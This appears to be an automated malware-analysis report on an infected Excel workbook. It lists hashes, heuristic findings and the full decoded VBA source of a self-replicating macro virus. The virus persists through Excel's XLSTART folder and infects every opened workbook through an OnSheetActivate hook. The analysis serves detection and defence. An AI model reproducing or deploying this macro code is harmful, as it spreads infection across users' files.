Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 d4db3d35b6a807fb…

MALICIOUS

Office (OLE) / .XLS

61.0 KB Created: 2026-03-02 09:00:31 First seen: 2026-06-20
MD5: 75da720c3f858d1a79b09e3e7b8f3f14 SHA-1: 64f748a399e1c687f750501fbec1e35a2e9b4903 SHA-256: d4db3d35b6a807fbd8775a1e7c95023ba01cd20a887988c27a93bbe3ae0b8766
108 Risk Score

Heuristics 4

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
        ChDir Application.StartupPath
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = "check_files"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1932 bytes
SHA-256: c4b3f11ee90ac3fbc5bf8657312ccb3eba8e542009108369248695dc0f406dd8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SGV"





































Sub Auto_Open()
Attribute Auto_Open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub
  
Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    C$ = Application.StartupPath
    m$ = Dir(C$ & "\" & "SGV.XLS")
    If m$ = "SGV.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then W = 1 Else W = 0
    whichfile = p + W * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.name
    Sheets("SGV").Visible = True
    Sheets("SGV").Select
    Sheets("SGV").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "SGV.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("SGV").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "SGV.XLS!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).name
    If s$ <> "SGV" Then
            
      Workbooks("SGV.XLS").Sheets("SGV").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("SGV").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "SGV.XLS!check_files"
    Case Else
End Select
End Sub

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